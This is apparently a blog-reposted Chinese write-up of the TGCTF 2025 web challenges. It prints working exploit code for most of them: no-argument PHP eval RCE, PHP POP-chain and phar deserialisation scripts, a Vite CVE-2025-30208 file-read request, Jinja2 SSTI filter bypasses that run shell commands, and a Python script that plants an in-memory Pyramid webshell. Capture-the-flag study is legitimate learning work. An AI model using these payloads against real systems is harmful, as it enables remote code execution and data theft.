TGCTF web

AAA偷渡阴平

这个题是一个非预期的无参RCE

php 复制代码
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__); 

这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号其实是中文,也就是等于没有过滤。

先说下无参RCE的打法。

http 复制代码
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());
http 复制代码
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));

这里通过next获得Pragma这个参数,这个参数是我们可以控制的。

这样在外边在套上一层eval就可以了

什么文件上传

开题一个文件上传点,尝试之后发无论上传什么内容都会报错,无法成功上传。

爆破一下路径发现robots.txt

这里重点看一下class.php

看到源代码

php 复制代码
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?> 

一个简单的pop链子,整体的利用是:

http 复制代码
yesterday -> __destruct
today -> __call
tommoraw -> toString 之后触发危险函数

这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString

但是这里要注意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,所以我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。

php 复制代码
<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
echo best64_encode(serialize($a))."1234";

前端GAME

简单玩一下游戏,直接结束掉,发现提示要读取/tgflagggg下的flag

这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后考虑怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208

参考文章

根据文章当中的

http 复制代码
curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"

构造我们这个题的poc

http 复制代码
curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

火眼辩魑魅

这个题,好像又是被我非掉了

还是找到了这里的robots.txt

这里每个php文件对应一个考察点,但是题目说只有一个洞是可行的,那么就挨个看一下

第一个文件上传,我当时做的时候,反正是没有任何权限,直接放弃这个点

这里直接给了源代码,并且直接eval考虑利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。

php 复制代码
shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');

之后找出题人聊了一下

发现是非预期,于是继续看下其他的点

预期解是这里的ssti,就不复现了

这个是反序列化的pop链,最后Sinkphp原生类,但是这里黑名单太多了,目测没法打。

直面天命

该说不说这个题属于有点套了

不懂是啥

源码当中发现/hint路由

这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz

提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数最后发现是filename,并且这里存在任意文件读取的问题。

然后尝试读取源代码

http 复制代码
http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py
python 复制代码
import os  
import string  
from flask import Flask, request, render_template_string, jsonify, send_from_directory  
from a.b.c.d.secret import secret_key  
  
app = Flask(__name__)  
  
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']  
def waf(name):  
    for x in black_list:  
        if x in name.lower():  
            return True  
    return Falsedef is_typable(char):  
    # 定义可通过标准 QWERTY 键盘输入的字符集  
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace  
    return char in typable_chars  
  
@app.route('/')  
def home():  
    return send_from_directory('static', 'index.html')  
  
@app.route('/jingu', methods=['POST'])  
def greet():  
    template1=""  
    template2=""  
    name = request.form.get('name')  
    template = f'{name}'  
    if waf(name):  
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'  
    else:  
        k=0  
        for i in name:  
            if is_typable(i):  
                continue  
            k=1  
            break  
        if k==1:  
            if not (secret_key[:2] in name and secret_key[2:]):  
                template = '连"六根"都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'  
                return render_template_string(template)  
            template1 = ""六根"也凑齐了,你已经可以直面天命了!我帮你把"secret_key"替换为了"{{}}"<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"  
            template= template.replace("直面","{{").replace("天命","}}")  
            template = template  
    if "cat" in template:  
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'  
    try:  
        return template1+render_template_string(template)+render_template_string(template2)  
    except Exception as e:  
        error_message = f"500报错了,查询语句如下:<br>{template}"  
        return error_message, 400  
  
@app.route('/hint', methods=['GET'])  
def hinter():  
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"  
    return render_template_string(template)  
  
@app.route('/aazz', methods=['GET'])  
def finder():  
    filename = request.args.get('filename', '')  
    if filename == "":  
        return send_from_directory('static', 'file.html')  
  
    if not filename.replace('_', '').isalnum():  
        content = jsonify({'error': '只允许字母和数字!'}), 400  
    if os.path.isfile(filename):  
        try:  
            with open(filename, 'r') as file:  
                content = file.read()  
            return content  
        except Exception as e:  
            return jsonify({'error': str(e)}), 500  
    else:  
        return jsonify({'error': '路径不存在或者路径非法'}), 404  
  
  
if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=80)

重点在这个路由,但是这里过滤掉了{``{}},但是后边的处理是替换成了直面天命,就是ssti的那些poc在这里把{``{}}替换成直面天命就行,再次看下黑名单。

python 复制代码
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']

这些地方都是可以通过拼接实现绕过的,拿出珍藏的poc在这里改一下

python 复制代码
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命

这里poc应该是很多的,但是这里有这样的替换,无法直接使用fenjing进行。

python 复制代码
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命

熟悉的配方,熟悉的味道

python 复制代码
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里

python 复制代码
def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1

首先根据四则运算符进行分割,然后直接进行exec,所以这里存在命令执行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。

参考文章

python 复制代码
import requests  
code='''  
def waff():  
    def f():        yield g.gi_frame.f_back  
    g = f()    frame = next(g)       
    b = frame.f_back.f_back.f_globals  
    def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  
    config.add_route('shellb', '/shellb')    config.add_view(hello, route_name='shellb')    config.commit()  
waff()  
'''  
  
url=""  
#url="http://127.0.0.1:9040/"  
data={  
    "expr":f"{code}+1"  
}  
  
r=requests.post(url=url,data=data)

借助这个脚本写入内存马,之后访问一下直接rce

TG_wordpress

最幽默的一题,没去打,根据描述找了下常见的CVE

复制代码
TGCTF{CVE-2020-25213}

什么文件上传?(复仇

对之前的非预期做了修复

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化。

现在的问题是,如何上传文件呢。

根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg

php 复制代码
<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
$phar->stopBuffering();

稍微修改下之前的poc,生成一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。

AAA偷渡阴平(复仇)

php 复制代码
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到

http 复制代码
http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());

天命复仇

这里把waf拿出来在本地搭建一下,然后丢到fenjing当中直接能跑出来

python 复制代码
import requests
url="http://node1.tgctf.woooo.tech:31535/jingu"

poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
data={
    "name": poc
}
r=requests.post(url=url,data=data)

print(r.text)
相关推荐
databook12 小时前
Manim实现闪光轨迹特效
后端·python·动效
Juchecar13 小时前
解惑:NumPy 中 ndarray.ndim 到底是什么?
python
用户83562907805114 小时前
Python 删除 Excel 工作表中的空白行列
后端·python
Json_14 小时前
使用python-fastApi框架开发一个学校宿舍管理系统-前后端分离项目
后端·python·fastapi
数据智能老司机20 小时前
精通 Python 设计模式——分布式系统模式
python·设计模式·架构
数据智能老司机21 小时前
精通 Python 设计模式——并发与异步模式
python·设计模式·编程语言
数据智能老司机21 小时前
精通 Python 设计模式——测试模式
python·设计模式·架构
数据智能老司机21 小时前
精通 Python 设计模式——性能模式
python·设计模式·架构
c8i1 天前
drf初步梳理
python·django
每日AI新事件1 天前
python的异步函数
python